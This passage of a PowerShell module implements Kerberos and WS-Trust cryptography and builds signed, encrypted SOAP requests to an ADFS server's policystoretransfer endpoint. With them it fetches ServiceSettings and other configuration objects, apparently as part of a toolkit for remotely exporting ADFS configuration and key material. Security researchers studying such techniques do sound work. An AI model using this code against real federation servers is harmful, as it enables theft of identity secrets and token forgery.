$decData = Get-RC4 -Key $Kcrypt -Data @($decSGN_Confounder + $encData)
|
||||
$decData = $decData[8..($decData.Count-1)]
|
||||
$decSGN_CHKSUM = Get-RC4 -Key $Kcrypt -Data $encSGN_CHKSUM
|
||||
|
||||
# Calculate MD5 checksum: Salt + header + confounder + data
|
||||
$SGN_CHKSUM2 = [System.Security.Cryptography.MD5 ]::Create().ComputeHash(@(@(13,0,0,0) + $TOKEN_HEADER + $decSGN_Confounder + $decData))
|
||||
$SGN_CHKSUM2 = ([System.Security.Cryptography.HMACMD5]::New($Ksign).ComputeHash($SGN_CHKSUM2))[0..7]
|
||||
|
||||
if(Compare-Object -ReferenceObject $SGN_CHKSUM -DifferenceObject $SGN_CHKSUM2 -SyncWindow 0)
|
||||
{
|
||||
Write-Warning "Invalid checksum!"
|
||||
}
|
||||
|
||||
return $decData
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw "Unsupported GSS_WRAP type: $Type"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# pHash
|
||||
# https://www.ietf.org/rfc/rfc2246.txt
|
||||
# Apr 5th 2021
|
||||
function Get-PSHA1
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Secret,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Seed,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$Bytes=32
|
||||
)
|
||||
Process
|
||||
{
|
||||
[System.Security.Cryptography.HMACSHA1]$HMAC = [System.Security.Cryptography.HMACSHA1]::New($Secret)
|
||||
$PSHA1=@()
|
||||
|
||||
$A = $seed
|
||||
$p = 0
|
||||
|
||||
while($p -lt $Bytes)
|
||||
{
|
||||
$A = $HMAC.ComputeHash($A)
|
||||
$PSHA1 += $HMAC.ComputeHash(($A + $Seed))
|
||||
$p+=$A.Count
|
||||
}
|
||||
|
||||
$HMAC.Dispose()
|
||||
|
||||
return [byte[]]($PSHA1[0..($Bytes-1)])
|
||||
}
|
||||
}
|
||||
|
||||
# Decrypts the given ciphertext
|
||||
# Apr 9th 2021
|
||||
function Decrypt-WSTrustCipherData
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$CipherText,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key
|
||||
)
|
||||
Process
|
||||
{
|
||||
# The first 16 bytes are the IV
|
||||
$InitialVector = $cipherText[0..15]
|
||||
$encText = $cipherText[16..($cipherText.Count-1)]
|
||||
|
||||
# Decrypt the cipher text
|
||||
[System.Security.Cryptography.Aes]$AES = [System.Security.Cryptography.Aes]::Create()
|
||||
$AES.Mode = "CBC"
|
||||
$AES.Key = $Key
|
||||
$AES.IV = $InitialVector
|
||||
$transformer = $AES.CreateDecryptor()
|
||||
|
||||
$ms = New-Object System.IO.MemoryStream
|
||||
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$transformer,[System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cs.Write($encText,0,$encText.Count)
|
||||
$cs.Close()
|
||||
$cs.Dispose()
|
||||
|
||||
$transformedData = $ms.ToArray()
|
||||
$ms.Close()
|
||||
$ms.Dispose()
|
||||
|
||||
return $transformedData
|
||||
}
|
||||
}
|
||||
|
||||
# Encrypts the given plaintext
|
||||
# Apr 10th 2021
|
||||
function Encrypt-WSTrustCipherData
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$PlainText,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create a random IV
|
||||
$InitialVector = Get-RandomBytes -Bytes 16
|
||||
|
||||
# Encrypt the cipher text
|
||||
[System.Security.Cryptography.Aes]$AES = [System.Security.Cryptography.Aes]::Create()
|
||||
$AES.Mode = "CBC"
|
||||
$AES.Key = $Key
|
||||
$AES.IV = $InitialVector
|
||||
$transformer = $AES.CreateEncryptor()
|
||||
|
||||
$ms = New-Object System.IO.MemoryStream
|
||||
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$transformer,[System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cs.Write($PlainText,0,$PlainText.Count)
|
||||
$cs.Close()
|
||||
$cs.Dispose()
|
||||
|
||||
$transformedData = $ms.ToArray()
|
||||
$ms.Close()
|
||||
$ms.Dispose()
|
||||
|
||||
return [byte[]]($InitialVector+$transformedData)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Derives the key from proof token and nonce
|
||||
# Apr 9th 2021
|
||||
function Derive-WSTrustKey
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Nonce,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$Bytes = 32
|
||||
)
|
||||
Begin
|
||||
{
|
||||
# Default label (mis)used by Microsoft
|
||||
$Label = [text.encoding]::ASCII.GetBytes("WS-SecureConversationWS-SecureConversation")
|
||||
}
|
||||
Process
|
||||
{
|
||||
$derivedKey = Get-PSHA1 -Secret $Key -Seed ($label+$Nonce) -Bytes $Bytes
|
||||
|
||||
return $derivedKey
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a SOAP envelope for RST
|
||||
# Apr 13th 2021
|
||||
function Create-RSTEnvelope
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$KerberosTicket
|
||||
)
|
||||
Process
|
||||
{
|
||||
$messageId = (New-Guid).ToString()
|
||||
$envelope=@"
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
||||
<s:Header>
|
||||
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action>
|
||||
<a:MessageID>urn:uuid:$messageId</a:MessageID>
|
||||
<a:ReplyTo>
|
||||
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<a:To s:mustUnderstand="1">http://$Server/adfs/services/policystoretransfer</a:To>
|
||||
</s:Header>
|
||||
<s:Body>
|
||||
<t:RequestSecurityToken Context="uuid-$((New-Guid).ToString())" xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust">
|
||||
<t:TokenType>http://schemas.xmlsoap.org/ws/2005/02/sc/sct</t:TokenType>
|
||||
<t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType>
|
||||
<t:KeySize>256</t:KeySize>
|
||||
<t:BinaryExchange ValueType="http://schemas.xmlsoap.org/ws/2005/02/trust/spnego" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">$KerberosTicket</t:BinaryExchange>
|
||||
</t:RequestSecurityToken>
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
"@
|
||||
|
||||
return $envelope
|
||||
}
|
||||
}
|
||||
|
||||
# Parse RST response
|
||||
# Apr 14th 2021
|
||||
function Parse-RSTR
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[xml]$RSTR,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Extract information from the RSTR
|
||||
$krb_response = Convert-B64ToByteArray -B64 $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].BinaryExchange.'#text'
|
||||
$proofToken = Convert-B64ToByteArray -B64 $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedProofToken.EncryptedKey.CipherData.CipherValue
|
||||
$keyIdentifier = [guid](($RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedSecurityToken.SecurityContextToken.Identifier).Split(":")[2])
|
||||
$context = $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedSecurityToken.SecurityContextToken.Id
|
||||
|
||||
# Parse the ticket
|
||||
$ticket = Parse-Asn1 -Data $krb_response
|
||||
|
||||
# Get the encrypted kerberos ticket
|
||||
$encKRB = $ticket.Data.Data[2].Data.Data
|
||||
$encKRB = Parse-Asn1 -Data $encKRB
|
||||
$encKRB = $encKRB.Data[2].Data.Data[2].Data.Data[1].Data.Data
|
||||
|
||||
# Decrypt the ticket
|
||||
$decKRB = Decrypt-Kerberos -Data $encKRB -Key $Key -Type APRepPart -Crypto RC4
|
||||
$decKRB = Parse-Asn1 -Data $decKRB
|
||||
|
||||
# Get the sequence number and subkey
|
||||
$SequenceNumber = $decKRB.Data.Data[3].Data.Data
|
||||
$SubKey = $decKRB.Data.Data[2].Data.Data[1].Data.Data
|
||||
$EncryptionType = $decKRB.Data.Data[2].Data.Data[0].Data.Data
|
||||
|
||||
Write-Verbose "Subkey: $(Convert-ByteArrayToB64 -Bytes $subKey)"
|
||||
Write-Verbose "Sequence num: $sequenceNumber"
|
||||
|
||||
# Extract the key from the proof token
|
||||
$securityKey = (Parse-GSS_Wrap -Type $EncryptionType -Data $proofToken -SessionKey $subKey -Direction Initiator -SequenceNumber $sequenceNumber)[0..31]
|
||||
|
||||
Write-Verbose "Security key: $(Convert-ByteArrayToB64 -Bytes $securityKey)"
|
||||
Write-Verbose "Context: $context"
|
||||
Write-Verbose "Identifier: $keyIdentifier"
|
||||
|
||||
# Construct the return value
|
||||
$retVal = New-Object psobject -Property @{"Context" = $context; "Key" = $securityKey; "Identifier" = $keyIdentifier}
|
||||
|
||||
return $retVal
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a SOAP envelope for RST SCT
|
||||
# Apr 14th 2021
|
||||
function Create-SCTEnvelope
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$ClientSecret,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Context,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$KeyIdentifier,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Server
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$payload = "<t:RequestSecurityToken xmlns:t=""http://schemas.xmlsoap.org/ws/2005/02/trust""><t:TokenType>http://schemas.xmlsoap.org/ws/2005/02/sc/sct</t:TokenType><t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType><t:Entropy><t:BinarySecret Type=""http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce"" u:Id=""uuid-$((New-Guid).ToString())"">$(Convert-ByteArrayToB64 -Bytes $ClientSecret)</t:BinarySecret></t:Entropy><t:KeySize>256</t:KeySize></t:RequestSecurityToken>"
|
||||
$action = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT"
|
||||
|
||||
$envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $Server -Payload $payload -Action $action
|
||||
|
||||
return $envelope
|
||||
}
|
||||
}
|
||||
|
||||
# Parse CST response
|
||||
# Apr 14th 2021
|
||||
function Parse-SCTR
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[xml]$SCTR,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Parse the response and fetch the server secret
|
||||
[xml]$xPlaintext = Parse-ADFSResponse -Response $SCTR -Key $Key
|
||||
$token = $xPlaintext.RequestSecurityTokenResponse.Entropy.BinarySecret.'#text'
|
||||
|
||||
$serverSecret = Convert-B64ToByteArray -B64 $token
|
||||
$computedKey = Get-PSHA1 -Secret $clientSecret -Seed $serverSecret -Bytes 32
|
||||
|
||||
$context = $xPlaintext.RequestSecurityTokenResponse.RequestedSecurityToken.SecurityContextToken.Id
|
||||
$keyIdentifier = [guid](($xPlaintext.RequestSecurityTokenResponse.RequestedSecurityToken.SecurityContextToken.Identifier).Split(":")[2])
|
||||
|
||||
Write-Verbose "Server secret: $(Convert-ByteArrayToB64 -Bytes $serverSecret)"
|
||||
Write-Verbose "Computed key: $(Convert-ByteArrayToB64 -Bytes $computedKey)"
|
||||
Write-Verbose "Context: $context"
|
||||
Write-Verbose "Identifier: $keyIdentifier"
|
||||
|
||||
# Construct the return value
|
||||
$retVal = New-Object psobject -Property @{"Context" = $context; "Key" = $computedKey; "Identifier" = $keyIdentifier}
|
||||
|
||||
return $retVal
|
||||
}
|
||||
}
|
||||
|
||||
# Checks whether the response is a soap error
|
||||
# Apr 15th 2021
|
||||
function Check-SoapError
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[xml]$Message
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check for the fault message
|
||||
if($Message.Envelope.Body.Fault)
|
||||
{
|
||||
$Message = $Message.Envelope.Body.Fault.OuterXml
|
||||
}
|
||||
|
||||
if($Message.Fault)
|
||||
{
|
||||
$reason = $Message.Fault.Reason.Text.'#text'
|
||||
throw $reason
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Parse ADFS Soap response
|
||||
# Apr 14th 2021
|
||||
function Parse-ADFSResponse
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[xml]$Response,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Extract nonce and cipher texts
|
||||
# The first nonce is used to derive key used for ENCRYPTING, the second one is for SIGNING
|
||||
# The cipher data in header is the signature block, which is not needed here
|
||||
|
||||
#$nonce0 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.DerivedKeyToken[0].Nonce
|
||||
#$cipher0 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.EncryptedData.CipherData.CipherValue
|
||||
$nonce1 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.DerivedKeyToken[1].Nonce
|
||||
$cipher1 = Convert-B64ToByteArray -B64 $Response.Envelope.Body.EncryptedData.CipherData.CipherValue
|
||||
|
||||
# Derive the key
|
||||
$derivedKey = Derive-WSTrustKey -Key $Key -Nonce $nonce1
|
||||
|
||||
Write-Verbose "Nonce: $(Convert-ByteArrayToB64 -Bytes $nonce1)"
|
||||
Write-Verbose "Derived key: $(Convert-ByteArrayToB64 -Bytes $derivedKey)"
|
||||
|
||||
# Decrypt the cipher data
|
||||
#$bPlainText = Decrypt-WSTrustCipherData -CipherText $cipher0 -Key $derivedKey
|
||||
#$plainText = [text.encoding]::UTF8.GetString($bPlainText)
|
||||
$bPlainText = Decrypt-WSTrustCipherData -CipherText $cipher1 -Key $derivedKey
|
||||
$plainText = [text.encoding]::UTF8.GetString($bPlainText)
|
||||
|
||||
Check-SoapError -Message $plainText
|
||||
|
||||
return $plainText
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a SOAP envelope for ADFS request
|
||||
# Apr 14th 2021
|
||||
function Create-ADFSRequest
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Context,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$KeyIdentifier,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Server
|
||||
)
|
||||
Process
|
||||
{
|
||||
$payload = "<GetState xmlns=""http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore""><serviceObjectType>ServiceSettings</serviceObjectType><mask xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></mask><filter xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></filter><clientVersionNumber>1</clientVersionNumber></GetState>"
|
||||
$action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetState"
|
||||
|
||||
$envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $Server -Payload $payload -Action $action
|
||||
|
||||
return $envelope
|
||||
}
|
||||
}
|
||||
|
||||
# Invokes a ADFS SOAP request
|
||||
# Apr 13th 2021
|
||||
function Invoke-ADFSSoapRequest
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Context,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$KeyIdentifier,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Command
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create the envelope
|
||||
$payload = "<GetState xmlns=""http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore""><serviceObjectType>$Command</serviceObjectType><mask xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></mask><filter xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></filter><clientVersionNumber>1</clientVersionNumber></GetState>"
|
||||
$action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetState"
|
||||
$envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $server -Payload $payload -Action $action
|
||||
|
||||
try
|
||||
{
|
||||
[xml]$response = Invoke-RestMethod -UseBasicParsing -uri "http://$Server/adfs/services/policystoretransfer" -Method Post -Body $envelope -ContentType "application/soap+xml"
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Catch the error and try to parse the SOAP document
|
||||
$str=$_.Exception.Response.GetResponseStream()
|
||||
$buf = new-object byte[] $str.Length
|
||||
$str.Position = 0
|
||||
$str.Read($buf,0,$str.Length) | Out-Null
|
||||
[xml]$response=[text.encoding]::UTF8.GetString($buf)
|
||||
}
|
||||
|
||||
return Parse-ADFSResponse -Response $response -Key $Key
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a SOAP envelope for the second RST request
|
||||
# Apr 13th 2021
|
||||
function Create-ADFSSoapEnvelope
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Context,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$KeyIdentifier,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Payload,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Action
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Set some required variables
|
||||
$STSContext = $Context
|
||||
$messageID = (New-Guid).ToString()
|
||||
$STIdentifier = $KeyIdentifier.ToString()
|
||||
$TSIdentifier = (New-Guid).ToString()
|
||||
$now = Get-Date
|
||||
$exp = $now.AddMinutes(5)
|
||||
$created = $now.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z"
|
||||
$expires = $exp.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z"
|
||||
|
||||
# Create nonce and derive keys for signing and encrypting
|
||||
$nonce0 = Get-RandomBytes -Bytes 16
|
||||
$nonce1 = Get-RandomBytes -Bytes 16
|
||||
$signingKey = Derive-WSTrustKey -Key $Key -Nonce $nonce0 -Bytes 24
|
||||
$encryptionKey = Derive-WSTrustKey -Key $Key -Nonce $nonce1 -Bytes 32
|
||||
|
||||
|
||||
# Create the SOAP request and encrypt it
|
||||
|
||||
$cipherText = Convert-ByteArrayToB64 -Bytes (Encrypt-WSTrustCipherData -PlainText ([text.encoding]::UTF8.GetBytes($Payload)) -Key $encryptionKey)
|
||||
|
||||
#
|
||||
# Create required xml elements.
|
||||
# Note! Due to canonicalization MS is using in the back-end, the xml MUST NOT HAVE ANY WHITE SPACES!
|
||||
# All xml elements here are already canonicalized with C14N exclusive. So, changing order of any attributes etc. will break the signature!
|
||||
#
|
||||
|
||||
# Create a body element
|
||||
$xBody = "<s:Body xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_2""><e:EncryptedData xmlns:e=""http://www.w3.org/2001/04/xmlenc#"" Id=""_3"" Type=""http://www.w3.org/2001/04/xmlenc#Content""><e:EncryptionMethod Algorithm=""http://www.w3.org/2001/04/xmlenc#aes256-cbc""></e:EncryptionMethod><KeyInfo xmlns=""http://www.w3.org/2000/09/xmldsig#""><o:SecurityTokenReference xmlns:o=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd""><o:Reference URI=""#_1"" ValueType=""http://schemas.xmlsoap.org/ws/2005/02/sc/dk""></o:Reference></o:SecurityTokenReference></KeyInfo><e:CipherData><e:CipherValue>$cipherText</e:CipherValue></e:CipherData></e:EncryptedData></s:Body>"
|
||||
|
||||
# Create a body element for calculating the digest. MUST BE "expanded" so that the cipher text is in decrypted form.
|
||||
$xBody2 = "<s:Body xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_2"">$Payload</s:Body>"
|
||||
|
||||
$xTimeStamp = "<u:Timestamp xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""uuid-$TSIdentifier-2""><u:Created>$created</u:Created><u:Expires>$expires</u:Expires></u:Timestamp>"
|
||||
$xAction = "<a:Action xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_4"" s:mustUnderstand=""1"">$Action</a:Action>"
|
||||
$xMessageId = "<a:MessageID xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_5"">urn:uuid:$messageID</a:MessageID>"
|
||||
$xReplyTo = "<a:ReplyTo xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_6""><a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address></a:ReplyTo>"
|
||||
$xTo = "<a:To xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_7"" s:mustUnderstand=""1"">http://$Server/adfs/services/policystoretransfer</a:To>"
|
||||
|
||||
# Calculate digests and generate the SignedInfo
|
||||
$digest_2 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xBody2)
|
||||
$digest_4 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xAction)
|
||||
$digest_5 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xMessageId)
|
||||
$digest_6 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xReplyTo)
|
||||
$digest_7 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xTo)
|
||||
$TSdigest= Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xTimeStamp)
|
||||
$signedInfo = "<SignedInfo xmlns=""http://www.w3.org/2000/09/xmldsig#""><CanonicalizationMethod Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></CanonicalizationMethod><SignatureMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#hmac-sha1""></SignatureMethod><Reference URI=""#_2""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_2</DigestValue></Reference><Reference URI=""#_4""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_4</DigestValue></Reference><Reference URI=""#_5""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_5</DigestValue></Reference><Reference URI=""#_6""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_6</DigestValue></Reference><Reference URI=""#_7""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_7</DigestValue></Reference><Reference URI=""#uuid-$TSIdentifier-2""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$TSdigest</DigestValue></Reference></SignedInfo>"
|
||||
|
||||
# Generate the signature by calculating HMACSHA1 of SignedInfo using the signing key
|
||||
$HMAC = [System.Security.Cryptography.HMACSHA1]::new($signingKey)
|
||||
$signatureValue = Convert-ByteArrayToB64 -Bytes $HMAC.ComputeHash([text.encoding]::UTF8.getBytes($signedInfo))
|
||||
|
||||
# Generate Signature element and encrypt it using the encryption key
|
||||
$xSignature = "<Signature xmlns=""http://www.w3.org/2000/09/xmldsig#"">$signedInfo<SignatureValue>$signatureValue</SignatureValue><KeyInfo><o:SecurityTokenReference xmlns:o=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd""><o:Reference ValueType=""http://schemas.xmlsoap.org/ws/2005/02/sc/dk"" URI=""#_0""/></o:SecurityTokenReference></KeyInfo></Signature>"
|
||||
$encSignature = Convert-ByteArrayToB64 -Bytes (Encrypt-WSTrustCipherData -PlainText ([text.encoding]::UTF8.GetBytes($xSignature)) -Key $encryptionKey)
|
||||
|
||||
# Create the envelope
|
||||
$envelope = @"
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
|
||||
<s:Header>
|
||||
$xAction
|
||||
$xMessageId
|
||||
$xReplyTo
|
||||
$xTo
|
||||
<o:Security s:mustUnderstand="1" xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
|
||||
$xTimeStamp
|
||||
<SecurityContextToken u:Id="$STSContext" xmlns="http://schemas.xmlsoap.org/ws/2005/02/sc">
|
||||
<Identifier>urn:uuid:$STIdentifier</Identifier>
|
||||
</SecurityContextToken>
|
||||
<c:DerivedKeyToken u:Id="_0" xmlns:c="http://schemas.xmlsoap.org/ws/2005/02/sc">
|
||||
<o:SecurityTokenReference>
|
||||
<o:Reference URI="#$STSContext"/>
|
||||
</o:SecurityTokenReference>
|
||||
<c:Offset>0</c:Offset>
|
||||
<c:Length>24</c:Length>
|
||||
<c:Nonce>$(Convert-ByteArrayToB64 -Bytes $nonce0)</c:Nonce>
|
||||
</c:DerivedKeyToken>
|
||||
<c:DerivedKeyToken u:Id="_1" xmlns:c="http://schemas.xmlsoap.org/ws/2005/02/sc">
|
||||
<o:SecurityTokenReference>
|
||||
<o:Reference URI="#$STSContext"/>
|
||||
</o:SecurityTokenReference>
|
||||
<c:Nonce>$(Convert-ByteArrayToB64 -Bytes $nonce1)</c:Nonce>
|
||||
</c:DerivedKeyToken>
|
||||
<e:ReferenceList xmlns:e="http://www.w3.org/2001/04/xmlenc#">
|
||||
<e:DataReference URI="#_3"/>
|
||||
<e:DataReference URI="#_8"/>
|
||||
</e:ReferenceList>
|
||||
<e:EncryptedData Id="_8" Type="http://www.w3.org/2001/04/xmlenc#Element" xmlns:e="http://www.w3.org/2001/04/xmlenc#">
|
||||
<e:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes256-cbc"/>
|
||||
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
|
||||
<o:SecurityTokenReference>
|
||||
<o:Reference ValueType="http://schemas.xmlsoap.org/ws/2005/02/sc/dk" URI="#_1"/>
|
||||
</o:SecurityTokenReference>
|
||||
</KeyInfo>
|
||||
<e:CipherData>
|
||||
<e:CipherValue>$encSignature</e:CipherValue>
|
||||
</e:CipherData>
|
||||
</e:EncryptedData>
|
||||
</o:Security>
|
||||
</s:Header>
|
||||
$xBody
|
||||
</s:Envelope>
|
||||
"@
|
||||
|
||||
$HMAC.Dispose()
|
||||
return $envelope
|
||||
}
|
||||
}
